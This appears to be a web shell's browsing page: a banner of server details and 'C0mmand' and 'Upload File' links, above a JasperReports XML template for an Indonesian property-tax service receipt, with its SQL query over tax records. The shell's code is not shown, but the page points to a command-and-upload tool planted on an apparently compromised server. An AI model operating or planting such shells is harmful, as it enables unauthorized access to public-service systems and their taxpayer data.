|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../report/PelayananPermohonan/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?xml version="1.0" encoding="UTF-8"?>
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="reportLampiran" language="groovy" pageWidth="595" pageHeight="842" columnWidth="555" leftMargin="20" rightMargin="20" topMargin="20" bottomMargin="20" uuid="3bc44d5a-d709-4f34-aee8-c59077539a9f">
<property name="ireport.zoom" value="1.0"/>
<property name="ireport.x" value="0"/>
<property name="ireport.y" value="0"/>
<parameter name="kd_kanwil" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="kd_kantor" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="thn_pelayanan" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="bundel_pelayanan" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="no_urut_pelayanan" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="SUBREPORT_DIR" class="java.lang.String" isForPrompting="false">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<queryString>
<![CDATA[SELECT (A.KD_KANWIL||'.'||A.KD_KANTOR||'.'||A.THN_PELAYANAN||'.'||
A.BUNDEL_PELAYANAN||'.'||A.NO_URUT_PELAYANAN) AS NOMOR_PELAYANAN,
(A.KD_PROPINSI_PEMOHON||'.'||A.KD_DATI2_PEMOHON||'.'||A.KD_KECAMATAN_PEMOHON||'.'||
A.KD_KELURAHAN_PEMOHON||'.'||A.KD_BLOK_PEMOHON||'.'||
A.NO_URUT_PEMOHON||'.'||A.KD_JNS_OP_PEMOHON) AS NOP,
A.THN_PAJAK_PERMOHONAN AS THN_PAJAK,
A.KD_JNS_PELAYANAN,
(B.JALAN_OP||' '||'KAV.'||B.BLOK_KAV_NO_OP||' '||'RW.'||
B.RW_OP||'/'||'RT.'||B.RT_OP) AS LETAK_OBYEK_PAJAK,
--C.NM_WP AS NAMA_WAJIB_PAJAK
D.NM_JENIS_PELAYANAN AS JENIS_PELAYANAN,
B.SUBJEK_PAJAK_ID kode
FROM PST_DETAIL A LEFT JOIN DAT_OBJEK_PAJAK B ON A.KD_PROPINSI_PEMOHON=B.KD_PROPINSI AND
A.KD_DATI2_PEMOHON=B.KD_DATI2 AND
A.KD_KECAMATAN_PEMOHON=B.KD_KECAMATAN AND
A.KD_KELURAHAN_PEMOHON=B.KD_KELURAHAN AND
A.KD_BLOK_PEMOHON=B.KD_BLOK AND
A.NO_URUT_PEMOHON=B.NO_URUT AND
A.KD_JNS_OP_PEMOHON=B.KD_JNS_OP
INNER JOIN REF_JNS_PELAYANAN D ON A.KD_JNS_PELAYANAN=D.KD_JNS_PELAYANAN
WHERE
A.KD_KANWIL = $P{kd_kanwil} AND
A.KD_KANTOR = $P{kd_kantor} AND
A.THN_PELAYANAN = $P{thn_pelayanan} AND
A.BUNDEL_PELAYANAN = $P{bundel_pelayanan} AND
A.NO_URUT_PELAYANAN= $P{no_urut_pelayanan}
order by A.KD_JNS_PELAYANAN]]>
</queryString>
<field name="nomor_pelayanan" class="java.lang.String"/>
<field name="nop" class="java.lang.String"/>
<field name="thn_pajak" class="java.lang.String"/>
<field name="kd_jns_pelayanan" class="java.lang.String"/>
<field name="letak_obyek_pajak" class="java.lang.String"/>
<field name="jenis_pelayanan" class="java.lang.String"/>
<field name="kode" class="java.lang.String"/>
<background>
<band splitType="Stretch"/>
</background>
<title>
<band height="82" splitType="Stretch">
<staticText>
<reportElement uuid="ae501dbc-26d7-4edf-8b55-087fb6f08165" x="0" y="0" width="555" height="36"/>
<textElement textAlignment="Center" verticalAlignment="Middle">
<font fontName="SansSerif" size="10"/>
</textElement>
<text><![CDATA[LAMPIRAN TANDA TERIMA PELAYANAN TANDA TERIMA]]></text>
</staticText>
<staticText>
<reportElement uuid="11aad4f5-a551-4ee9-8120-31b6d6b8da83" x="0" y="57" width="120" height="20"/>
<textElement textAlignment="Left" verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[NOMOR PELAYANAN]]></text>
</staticText>
<textField>
<reportElement uuid="81fa1e99-b675-4ef7-8999-650b2ca3ba12" x="122" y="57" width="351" height="20"/>
<textElement textAlignment="Left" verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<textFieldExpression><![CDATA[$P{thn_pelayanan} + "." + $P{bundel_pelayanan} + "." + $P{no_urut_pelayanan}]]></textFieldExpression>
</textField>
</band>
</title>
<columnHeader>
<band height="48" splitType="Stretch">
<staticText>
<reportElement uuid="4ee594b9-f37c-48ef-899a-5d9af0a71cb6" x="0" y="0" width="555" height="12"/>
<textElement verticalAlignment="Bottom">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[============================================================================================]]></text>
</staticText>
<staticText>
<reportElement uuid="4ee594b9-f37c-48ef-899a-5d9af0a71cb6" x="0" y="32" width="555" height="12"/>
<textElement verticalAlignment="Bottom">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[============================================================================================]]></text>
</staticText>
<staticText>
<reportElement uuid="9987812a-b808-488d-8c70-d847b47492bd" x="44" y="12" width="155" height="20"/>
<textElement textAlignment="Left" verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[NOP]]></text>
</staticText>
<staticText>
<reportElement uuid="d218cec1-fdd5-4e80-b4b2-7053eb44c39c" x="187" y="12" width="37" height="20"/>
<textElement verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[TAHUN]]></text>
</staticText>
<staticText>
<reportElement uuid="c3571519-395b-4d36-bcc7-0bb14968b76e" x="236" y="12" width="180" height="20"/>
<textElement verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[JENIS PELAYANAN]]></text>
</staticText>
<staticText>
<reportElement uuid="1d74c31e-5015-400a-ad2a-f8d2811916f9" x="416" y="12" width="139" height="20"/>
<textElement verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[NAMA WP]]></text>
</staticText>
<staticText>
<reportElement uuid="9987812a-b808-488d-8c70-d847b47492bd" x="0" y="12" width="44" height="20"/>
<textElement textAlignment="Left" verticalAlignment="Middle">
<font fontName="SansSerif"/>
</textElement>
<text><![CDATA[NOMOR]]></text>
</staticText>
</band>
</columnHeader>
<detail>
<band height="22" splitType="Stretch">
<textField isStretchWithOverflow="true">
<reportElement uuid="c59dcf36-58b6-478c-adb2-4fef14d9e770" x="187" y="0" width="37" height="22"/>
<textElement>
<font fontName="SansSerif"/>
</textElement>
<textFieldExpression><![CDATA[$F{thn_pajak}]]></textFieldExpression>
</textField>
<textField isStretchWithOverflow="true">
<reportElement uuid="1d976871-4012-4347-bf27-c6dff46c576a" stretchType="RelativeToBandHeight" x="236" y="-1" width="180" height="21"/>
<textElement>
<font fontName="SansSerif"/>
</textElement>
<textFieldExpression><![CDATA[$F{jenis_pelayanan}]]></textFieldExpression>
</textField>
<subreport>
<reportElement uuid="c269f3fe-94fb-4c75-ae7b-b4db89664b3c" stretchType="RelativeToBandHeight" x="415" y="-1" width="139" height="21"/>
<subreportParameter name="kode">
<subreportParameterExpression><![CDATA[$F{kode}]]></subreportParameterExpression>
</subreportParameter>
<connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression>
<subreportExpression><![CDATA["reportLampiran_namaWp.jasper"]]></subreportExpression>
</subreport>
<textField isStretchWithOverflow="true">
<reportElement uuid="519058d3-e60c-4acf-a645-adde3e15504b" stretchType="RelativeToBandHeight" x="44" y="1" width="155" height="21"/>
<textElement>
<font fontName="SansSerif"/>
</textElement>
<textFieldExpression><![CDATA[$F{nop}]]></textFieldExpression>
</textField>
<textField isStretchWithOverflow="true">
<reportElement uuid="8577d1b8-4e38-441a-8adb-6a2b7f1ccb03" stretchType="RelativeToBandHeight" x="0" y="1" width="44" height="21"/>
<textElement textAlignment="Left">
<font fontName="SansSerif"/>
</textElement>
<textFieldExpression><![CDATA[$V{REPORT_COUNT}]]></textFieldExpression>
</textField>
</band>
</detail>
<columnFooter>
<band height="45" splitType="Stretch"/>
</columnFooter>
<pageFooter>
<band height="54" splitType="Stretch"/>
</pageFooter>
<summary>
<band height="42" splitType="Stretch"/>
</summary>
</jasperReport>